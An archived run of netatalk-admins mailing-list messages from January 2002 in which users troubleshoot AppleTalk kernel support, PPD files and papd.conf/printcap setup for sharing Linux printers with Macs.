	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA01189
	for netatalk.administrators-members@umich.edu; Wed, 9 Jan 2002 06:45:58 -0500 (EST)
Received: from terapin-mine.com ([202.157.161.81])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id GAA01143
	for <netatalk-admins@umich.edu>; Wed, 9 Jan 2002 06:45:56 -0500 (EST)
Received: (qmail 16882 invoked by uid 0); 9 Jan 2002 11:45:42 -0000
Received: from unknown (HELO yahoo.com) (203.162.55.3)
  by 0 with SMTP; 9 Jan 2002 11:45:42 -0000
Message-ID: <3C3C2DD1.50601@yahoo.com>
Date: Wed, 09 Jan 2002 18:47:29 +0700
From: Lam Quoc Thanh <ditimtiennu@yahoo.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: How can check the kernel support appletalk protocol ?
Content-Type: multipart/alternative;
 boundary="------------000109030902090906030201"


--------------000109030902090906030201
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hi all,

I have just built a kernel 2.2.14 for powerpc support appletalk 
protocol. I can insmod appletalk.o successfully.
I ran atalkd daemon and run nmblkup program, it prints out windows 
appleshare PC name but i can't find apple PC share name.When i run 
nmblkup on Linux Redhat7.2, I can see apple PC share name. I don't know 
what my problem.
How can I check my kernel support appletalk protocol absolutely ?

Thanks for all.
Tony

--------------000109030902090906030201
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html>
<head>
</head>
<body>
Hi all,<br>
<br>
I have just built a kernel 2.2.14 for <b>powerpc</b> support appletalk protocol.
I can insmod appletalk.o successfully.<br>
I ran atalkd daemon and run nmblkup program, it prints out windows appleshare
PC name but i can't find apple PC share name.When i run nmblkup on Linux
Redhat7.2, I can see apple PC share name. I don't know what my problem.<br>
How can I check my kernel support appletalk protocol absolutely ?<br>
<br>
Thanks for all.<br>
Tony<br>
</body>
</html>

--------------000109030902090906030201--


From netatalk.administrators-errors@umich.edu  Wed Jan  9 07:00:27 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA22910
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 9 Jan 2002 07:00:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA22293
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 9 Jan 2002 07:00:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA22278
	for netatalk.administrators-members@umich.edu; Wed, 9 Jan 2002 07:00:27 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA22226
	for <netatalk-admins@umich.edu>; Wed, 9 Jan 2002 07:00:25 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id NAA23568;
	Wed, 9 Jan 2002 13:25:17 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 09 Jan 2002 13:00:13 +0100
Subject: Re: How can check the kernel support appletalk protocol ?
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Lam Quoc Thanh <ditimtiennu@yahoo.com>, <netatalk-admins@umich.edu>
CC: <netatalk-devel@lists.sourceforge.net>
Message-ID: <B861EF5C.175B8%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C3C2DD1.50601@yahoo.com>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id HAA22910

On Wed, 9 Jan 2002 06:46:04 -0500 (EST), Lam Quoc Thanh wrote:

> I have just built a kernel 2.2.14 for powerpc support appletalk protocol. I
> can insmod appletalk.o successfully.

I believe, you speak about Linux?

> I ran atalkd daemon and run nmblkup program,

What program? In netatalk exists nbplkup (NBP -- Name Binding Protocol --
Lookup --> <http://www.protocols.com/pbook/appletalk.htm>), to watch your
AppleTalk Devices. Try 'man nbplkup' for details...

Please do not confuse this with NetBIOS and the associated tool from the
samba projekt: nmblookup -- NetBIOS over TCP/IP client used to lookup
NetBIOS names.

> it prints out windows appleshare PC name but i can't find apple PC share
> name.When i run nmblkup on Linux Redhat7.2, I can see apple PC share name.
> I don't know what my problem.

Maybe you confuse AppleTalk with NetBIOS?

> How can I check my kernel support appletalk protocol absolutely?

Try 'ifconfig' and look whether there exists a line "EtherTalk" below the
interfaces, you configured appletalk to run on (atalkd.conf).

You might want to have a look at this tutorial too:
<http://www.linuxworld.com/linuxworld/lw-1999-04/lw-04-uptime.html>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Jan  9 12:48:24 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA06633
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 9 Jan 2002 12:48:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA01617
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 9 Jan 2002 12:48:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA01479
	for netatalk.administrators-members@umich.edu; Wed, 9 Jan 2002 12:48:20 -0500 (EST)
Received: from IMGate.wtsonline.net (imgate.wtsonline.net [63.64.122.19])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA01455
	for <netatalk-admins@umich.edu>; Wed, 9 Jan 2002 12:48:13 -0500 (EST)
Received: from comanchetx.com (mail.comanchetx.com [63.64.122.61])
	by IMGate.wtsonline.net (Postfix Relay Hub) with ESMTP id 885FE5D072
	for <netatalk-admins@umich.edu>; Wed,  9 Jan 2002 11:47:52 -0600 (CST)
Received: from mjv.com [65.201.66.54] by comanchetx.com with ESMTP
  (SMTPD32-6.06) id A1DC22BC005A; Wed, 09 Jan 2002 11:46:04 -0600
Message-ID: <3C3C80DE.6030204@mjv.com>
Date: Wed, 09 Jan 2002 11:41:50 -0600
From: Michael Vanecek <mike@mjv.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: PPD's Q...
References: <B861EF5C.175B8%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Where do I find the ppd's for my LaserJet 4MP printer? I've installed 
the RPM version of netatalk - 1.5pre5-1, and there's no 
/usr/local/atalk/etc/somthing.ppd, or reference to any ppd directory in 
the RPM manager. The printer is my basic HP laser printer running just 
fine on lp0 as lp and also through Samba so my wife can print from her 
Win32 infested box. From the way it looks all I need to do is put an 
entry into the pap.conf for the printer, and get the ppd and have a 
printer I can print to from my iMac.

Also, is there an updated .spec file available for the latest release so 
I can make a new RPM?

Thanks,
Mike


-- 
http://dotfile.net/ - Dedicated to Open Source Software


From netatalk.administrators-errors@umich.edu  Wed Jan  9 13:49:02 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA08753
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 9 Jan 2002 13:49:02 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA05514
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 9 Jan 2002 13:49:01 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA05496
	for netatalk.administrators-members@umich.edu; Wed, 9 Jan 2002 13:48:59 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA28404
	for <netatalk-admins@umich.edu>; Wed, 9 Jan 2002 13:48:51 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id TAA00749;
	Wed, 9 Jan 2002 19:04:48 +0100
Message-ID: <3C3C8640.34FEFE45@euc.de>
Date: Wed, 09 Jan 2002 19:04:49 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Michael Vanecek <mike@mjv.com>
CC: netatalk-admins@umich.edu
Subject: Re: PPD's Q...
References: <B861EF5C.175B8%Thomas.Kaiser@phg-online.de> <3C3C80DE.6030204@mjv.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA08753

You can find the latest ppd's at

http://www.adobe.com/products/printerdrivers/main.html

or at hp's homepage

PPD's are plain ASCII Files containing a description of the capabilities
of that postscript printer.
(can it handle color, kind of paper, trays).

you can easily adapt these files to your needs :)



Michael Vanecek wrote:
> 
> Where do I find the ppd's for my LaserJet 4MP printer? I've installed
> the RPM version of netatalk - 1.5pre5-1, and there's no
> /usr/local/atalk/etc/somthing.ppd, or reference to any ppd directory in
> the RPM manager. The printer is my basic HP laser printer running just
> fine on lp0 as lp and also through Samba so my wife can print from her
> Win32 infested box. From the way it looks all I need to do is put an
> entry into the pap.conf for the printer, and get the ppd and have a
> printer I can print to from my iMac.
> 
> Also, is there an updated .spec file available for the latest release so
> I can make a new RPM?
> 
> Thanks,
> Mike
> 
> --
> http://dotfile.net/ - Dedicated to Open Source Software

-- 


mit freundlichen grüssen

____________________________________________________________

Mac Conin                        Taubengasse 9
                                 D 50676 Koeln

From netatalk.administrators-errors@umich.edu  Wed Jan  9 14:42:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA11709
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 9 Jan 2002 14:42:57 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA01409
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 9 Jan 2002 14:42:57 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA01331
	for netatalk.administrators-members@umich.edu; Wed, 9 Jan 2002 14:42:54 -0500 (EST)
Received: from IMGate.wtsonline.net (imgate.wtsonline.net [63.64.122.19])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA00994
	for <netatalk-admins@umich.edu>; Wed, 9 Jan 2002 14:42:44 -0500 (EST)
Received: from comanchetx.com (mail.comanchetx.com [63.64.122.61])
	by IMGate.wtsonline.net (Postfix Relay Hub) with ESMTP id 8C1485D048
	for <netatalk-admins@umich.edu>; Wed,  9 Jan 2002 13:38:23 -0600 (CST)
Received: from mjv.com [65.201.66.54] by comanchetx.com with ESMTP
  (SMTPD32-6.06) id ABD1FB6E0082; Wed, 09 Jan 2002 13:36:49 -0600
Message-ID: <3C3C9B02.8010207@mjv.com>
Date: Wed, 09 Jan 2002 13:33:22 -0600
From: Michael Vanecek <mike@mjv.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: PPD's Q...
References: <B861EF5C.175B8%Thomas.Kaiser@phg-online.de> <3C3C80DE.6030204@mjv.com> <3C3C8640.34FEFE45@euc.de>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

You are my hero. I had no idea how easy it was. The documentation made 
it look harder than heck.

All I did was put this in my papd.conf:

HP 4MP:\
	:pr=lp:\
	:pd=/etc/atalk/printer/HP4MP6_1.PPD:


Then I downloaded the Microsoft version of the ppd files from the 
recommended website for HP (tried the Mac version, but the files had 
lots of funny characters in it - wish unstuff would account for that), 
copied the appropriate ppd file to the appropriate dir, ran 
/etc/rc.d/init.d/atalk restart, waited a couple of minutes for it to 
finish and ran nbplkup and there amongst the other Appletalk stuff was 
the trusty HP 4MP. The test page printed without a hitch. Gotta love Linux!

BTW - never did figure out why the .Appletalk directory creates files 
with zero permissions. When I manually change the permissions for a file 
and delete the 0k file in the target directory, I can copy just fine. 
What makes atalk set zero permissions like that? It effectively makes it 
read only - but I don't have that specified in my defaults file or any 
of the conf files.

Also, anyone sporting a fresh spec for RH 6.2 and 7.1?

Thanks again for your help.
Mike

Mac Conin wrote:

> You can find the latest ppd's at
> 
> http://www.adobe.com/products/printerdrivers/main.html
> 
> or at hp's homepage
> 
> PPD's are plain ASCII Files containing a description of the capabilities
> of that postscript printer.
> (can it handle color, kind of paper, trays).
> 
> you can easily adapt these files to your needs :)
> 
> 
> 
> Michael Vanecek wrote:
> 
>>Where do I find the ppd's for my LaserJet 4MP printer? I've installed
>>the RPM version of netatalk - 1.5pre5-1, and there's no
>>/usr/local/atalk/etc/somthing.ppd, or reference to any ppd directory in
>>the RPM manager. The printer is my basic HP laser printer running just
>>fine on lp0 as lp and also through Samba so my wife can print from her
>>Win32 infested box. From the way it looks all I need to do is put an
>>entry into the pap.conf for the printer, and get the ppd and have a
>>printer I can print to from my iMac.
>>
>>Also, is there an updated .spec file available for the latest release so
>>I can make a new RPM?
>>
>>Thanks,
>>Mike
>>
>>--
>>http://dotfile.net/ - Dedicated to Open Source Software
>>
> 


-- 
http://dotfile.net/ - Dedicated to Open Source Software


From netatalk.administrators-errors@umich.edu  Wed Jan  9 16:57:20 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id QAA20354
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 9 Jan 2002 16:57:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA21799
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 9 Jan 2002 16:57:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA21771
	for netatalk.administrators-members@umich.edu; Wed, 9 Jan 2002 16:57:19 -0500 (EST)
Received: from mail8.carolina.rr.com (fe8.southeast.rr.com [24.93.67.55])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA14353
	for <netatalk-admins@umich.edu>; Wed, 9 Jan 2002 16:50:26 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail8.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Wed, 9 Jan 2002 16:47:45 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010401b86269f8dd0d@[192.168.110.21]>
In-Reply-To: <3C3C9B02.8010207@mjv.com>
References: <B861EF5C.175B8%Thomas.Kaiser@phg-online.de>
 <3C3C80DE.6030204@mjv.com> <3C3C8640.34FEFE45@euc.de>
 <3C3C9B02.8010207@mjv.com>
Date: Wed, 9 Jan 2002 16:47:44 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: PPD's Q...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>You are my hero. I had no idea how easy it was. The documentation 
>made it look harder than heck.
>
>All I did was put this in my papd.conf:
>
>HP 4MP:\
>	:pr=lp:\
>	:pd=/etc/atalk/printer/HP4MP6_1.PPD:
>
>Then I downloaded the Microsoft version of the ppd files from the 
>recommended website for HP (tried the Mac version, but the files had 
>lots of funny characters in it - wish unstuff would account for 
>that), copied the

^M ???

>appropriate ppd file to the appropriate dir, ran 
>/etc/rc.d/init.d/atalk restart, waited a couple of minutes for it to 
>finish and ran nbplkup and there amongst the other Appletalk stuff 
>was the trusty HP 4MP. The test page printed without a hitch. Gotta 
>love Linux!


About the same thing. Here's mine

# /etc/printcap
#
# Please don't edit this file directly unless you know what you are doing!
# Be warned that the control-panel printtool requires a very strict format!
# Look at the printcap(5) man page for more info.
#
# This file can be edited with the printtool in the control-panel.

##PRINTTOOL3## REMOTE ljet4 300x300 letter {} LaserJet4 Default 1
lp:\
         :sd=/var/spool/lpd/lp:\
         :mx#0:\
         :sh:\
         :rm=192.168.n.n:\
         :rp=:\
         :if=/var/spool/lpd/lp/filter:

I suppose your is in papd.conf? Mine was in /etc/printcap. I had one 
for PDFs in an earlier version of netatalk:

PDFd:\
         :pr=lp:op=root:\
         :pd=/etc/atalk/mtr1120.ppd\:

-Wes Yates

-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

root$ rm -rf /bin/laden

From netatalk.administrators-errors@umich.edu  Wed Jan  9 18:47:36 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA24805
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 9 Jan 2002 18:47:36 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA12387
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 9 Jan 2002 18:47:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA10963
	for netatalk.administrators-members@umich.edu; Wed, 9 Jan 2002 18:44:48 -0500 (EST)
Received: from IMGate.wtsonline.net (imgate.wtsonline.net [63.64.122.19])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA09842
	for <netatalk-admins@umich.edu>; Wed, 9 Jan 2002 18:44:23 -0500 (EST)
Received: from comanchetx.com (mail.comanchetx.com [63.64.122.61])
	by IMGate.wtsonline.net (Postfix Relay Hub) with ESMTP id 5764E5D03A
	for <netatalk-admins@umich.edu>; Wed,  9 Jan 2002 17:43:04 -0600 (CST)
Received: from mjv.com [65.201.66.65] by comanchetx.com with ESMTP
  (SMTPD32-6.06) id A54AAE6A00E2; Wed, 09 Jan 2002 17:42:02 -0600
Message-ID: <3C3CD47B.6040707@mjv.com>
Date: Wed, 09 Jan 2002 17:38:35 -0600
From: Michael Vanecek <mike@mjv.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: PPD's Q...
References: <B861EF5C.175B8%Thomas.Kaiser@phg-online.de> <3C3C80DE.6030204@mjv.com> <3C3C8640.34FEFE45@euc.de> <3C3C9B02.8010207@mjv.com> <a05010401b86269f8dd0d@[192.168.110.21]>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Wes Yates wrote:

>> You are my hero. I had no idea how easy it was. The documentation made 
>> it look harder than heck.
>>
>> All I did was put this in my papd.conf:
>>
>> HP 4MP:\
>>     :pr=lp:\
>>     :pd=/etc/atalk/printer/HP4MP6_1.PPD:
>>
>> Then I downloaded the Microsoft version of the ppd files from the 
>> recommended website for HP (tried the Mac version, but the files had 
>> lots of funny characters in it - wish unstuff would account for that), 
>> copied the
> 
> 
> ^M ???


not sure what ^M means - but I have Alladin's Stuffit (the unstuffer 
version) installed on Linux so I can unpack files here too like 
documentation that I don't want cluttering up the Mac. I thought since I 
was using the Mac to print I'd get the mac PPD's. Dumb me. Microsoft 
PPD's worked fine. Be nice if they had Linux PPD's, but then that'd be 
redundant, wouldn't it... :)


>> appropriate ppd file to the appropriate dir, ran 
>> /etc/rc.d/init.d/atalk restart, waited a couple of minutes for it to 
>> finish and ran nbplkup and there amongst the other Appletalk stuff was 
>> the trusty HP 4MP. The test page printed without a hitch. Gotta love 
>> Linux!
> 
> 
> 
> About the same thing. Here's mine
> 
> # /etc/printcap
> #
> # Please don't edit this file directly unless you know what you are doing!
> # Be warned that the control-panel printtool requires a very strict format!
> # Look at the printcap(5) man page for more info.
> #
> # This file can be edited with the printtool in the control-panel.
> 
> ##PRINTTOOL3## REMOTE ljet4 300x300 letter {} LaserJet4 Default 1
> lp:\
>         :sd=/var/spool/lpd/lp:\
>         :mx#0:\
>         :sh:\
>         :rm=192.168.n.n:\
>         :rp=:\
>         :if=/var/spool/lpd/lp/filter:
> 
> I suppose your is in papd.conf? Mine was in /etc/printcap. I had one for 
> PDFs in an earlier version of netatalk:
> 
> PDFd:\
>         :pr=lp:op=root:\
>         :pd=/etc/atalk/mtr1120.ppd\:
> 
> -Wes Yates
> 


Well, the princap on mine is fine. Linux and the networked Windows 
computers have no problem at all printing to it. It's just that the 
documentation on setting up printers and the articles were a little, 
well, too detailed and a little confusing. It was hard to tell when it 
was talking about a locally attached Linux based printer using plain ol' 
lp and a Laserwriter. Needless to say, setting up the Linux based 
printer so the Mac can print on it is obscenely easy and now the Mac 
prints flawlessly. I just built and installed netatalk 1.5 using the 
kindly supplied .spec file and it works without a hitch - and hey - I 
can actually copy files to my server without problems. The files in 
.Appledouble are now being given permissions. Since I'm using the same 
config files, I guess it was a bug in one of the pre's I was using. 
Thanks for fixing it guys - I'm a happy camper now...

Cheers,

Mike



-- 
http://dotfile.net/ - Dedicated to Open Source Software


From netatalk.administrators-errors@umich.edu  Wed Jan  9 23:26:40 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id XAA07681
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 9 Jan 2002 23:26:40 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA17507
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 9 Jan 2002 23:26:40 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA17504
	for netatalk.administrators-members@umich.edu; Wed, 9 Jan 2002 23:26:39 -0500 (EST)
Received: from Mail4.carolina.rr.com (fe4.southeast.rr.com [24.93.67.51])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA17496
	for <netatalk-admins@umich.edu>; Wed, 9 Jan 2002 23:26:38 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by Mail4.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Wed, 9 Jan 2002 17:01:08 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010402b8626b552f10@[192.168.110.21]>
In-Reply-To: <3C3C2DD1.50601@yahoo.com>
References: <3C3C2DD1.50601@yahoo.com>
Date: Wed, 9 Jan 2002 17:01:03 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: How can check the kernel support appletalk protocol ?
Content-Type: multipart/alternative; boundary="============_-1201508832==_ma============"

--============_-1201508832==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>Hi all,
>
>I have just built a kernel 2.2.14 for powerpc support appletalk 
>protocol. I can insmod appletalk.o successfully.
>I ran atalkd daemon and run nmblkup program, it prints out windows 
>appleshare PC name but i can't find apple PC share name.When i run 
>nmblkup on Linux Redhat7.2, I can see apple PC share name. I don't 
>know what my problem.
>How can I check my kernel support appletalk protocol absolutely ?
>
>Thanks for all.
>Tony

I use 'dmesg | grep -i apple'

it usually returns:

wyates@iserver $ dmesg | grep -i apple
NET4: AppleTalk 0.18 for Linux NET4.0

My appletalk is buit into the kernel.

-Wes Yates

-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

"Of course, you realize this means war."
-B. Bunny
--============_-1201508832==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>Re: How can check the kernel support appletalk
protoco</title></head><body>
<blockquote type="cite" cite>Hi all,<br>
<br>
I have just built a kernel 2.2.14 for<b> powerpc</b> support appletalk
protocol. I can insmod appletalk.o successfully.<br>
I ran atalkd daemon and run nmblkup program, it prints out windows
appleshare PC name but i can't find apple PC share name.When i run
nmblkup on Linux Redhat7.2, I can see apple PC share name. I don't
know what my problem.<br>
How can I check my kernel support appletalk protocol absolutely ?<br>
<br>
Thanks for all.<br>
Tony</blockquote>
<div><br></div>
<div>I use 'dmesg | grep -i apple'</div>
<div><br></div>
<div>it usually returns:</div>
<div><br></div>
<div>wyates@iserver $ dmesg | grep -i apple<br>
NET4: AppleTalk 0.18 for Linux NET4.0</div>
<div><br></div>
<div>My appletalk is buit into the kernel.</div>
<div><br></div>
<div>-Wes Yates</div>
<div><br></div>

<div>-- <br>
<br>
-Wes Yates<br>
gmac63@carolina.rr.com<br>
wesyates.homeip.net<br>
<br>
&quot;Of course, you realize this means war.&quot;<br>
-B. Bunny</div>
</body>
</html>
--============_-1201508832==_ma============--

From netatalk.administrators-errors@umich.edu  Thu Jan 10 02:28:59 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA14274
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 10 Jan 2002 02:28:59 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA18038
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 10 Jan 2002 02:28:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA18020
	for netatalk.administrators-members@umich.edu; Thu, 10 Jan 2002 02:28:58 -0500 (EST)
Received: from mel-rto2.wanadoo.fr (smtp-out-2.wanadoo.fr [193.252.19.254])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA17985
	for <netatalk-admins@umich.edu>; Thu, 10 Jan 2002 02:28:57 -0500 (EST)
Received: from mel-rta2.wanadoo.fr (193.252.19.152) by mel-rto2.wanadoo.fr; 10 Jan 2002 08:28:56 +0100
Received: from [193.250.110.253] (193.250.110.253) by mel-rta2.wanadoo.fr; 10 Jan 2002 08:28:44 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 10 Jan 2002 08:24:28 +0100
Subject: OS9-iMAC and netatalk
From: Renato BARRIOS <renato.barrios@wanadoo.fr>
To: <netatalk-admins@umich.edu>
Message-ID: <B863003B.15C6%renato.barrios@wanadoo.fr>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi all,
I have a pc with a debian 2.2 with netatalk(1.4 version). I can see the pc
with the imac selector(an ethernet connection) but I have been never able to
print. I can see my printer with the iMAC OS9 printer utilities (as  Apple
printer utility PPC) and I have a message obout  a spooler attached. I tried
it with and without papd.conf
I tried to use a Hewlett Packard Deskjet 540 but also a Cannon BJ 4200 that
run well with aps2filter in my debian and I can print with Ghostview,
mozilla and simple lpr command.
My printcap file is :
Hi,
I have a pc with a debian 2.2 and netatalk installed. I can see the pc with
the imac selector(an ethernet connection) but I have been never able to
print. I can see my printer with the iMAC OS9 printer utilities (as an
appletalk printer) and I have a message obout  a spooler attached. I tried
it with and without papd.conf
I tried to use a Hewlett Packard Deskjet 540 but also a Cannon BJ 4200 that
run well with aps2filter and I can print with Ghostview, mozilla and simple
lpr command. 
Please help me to resolve it.
Thanks,
Renato
## /etc/printcap: printer capability database. See printcap(5).
## You can use the filter entries df, tf, cf, gf etc. for
## your own filters. See /etc/filter.ps, /etc/filter.pcl and
## the printcap(5) manual page for further details.
#
#lp|Generic dot-matrix printer entry:\
#        :lp=/dev/lp0:\
#        :sd=/var/spool/lpd/lp:\
#        :af=/var/log/lp-acct:\
#        :lf=/var/log/lp-errs:\
#        :pl#66:\
#        :pw#80:\
#        :pc#150:\
#        :mx#0:\
#        :sh:
#
## rlp|Remote printer entry:\
##         :lp=:\
##         :rm=remotehost:\
##         :rp=remoteprinter:\
##         :sd=/var/spool/lpd/remote:\
##         :mx#0:\
##         :sh:
# LABEL apsfilter
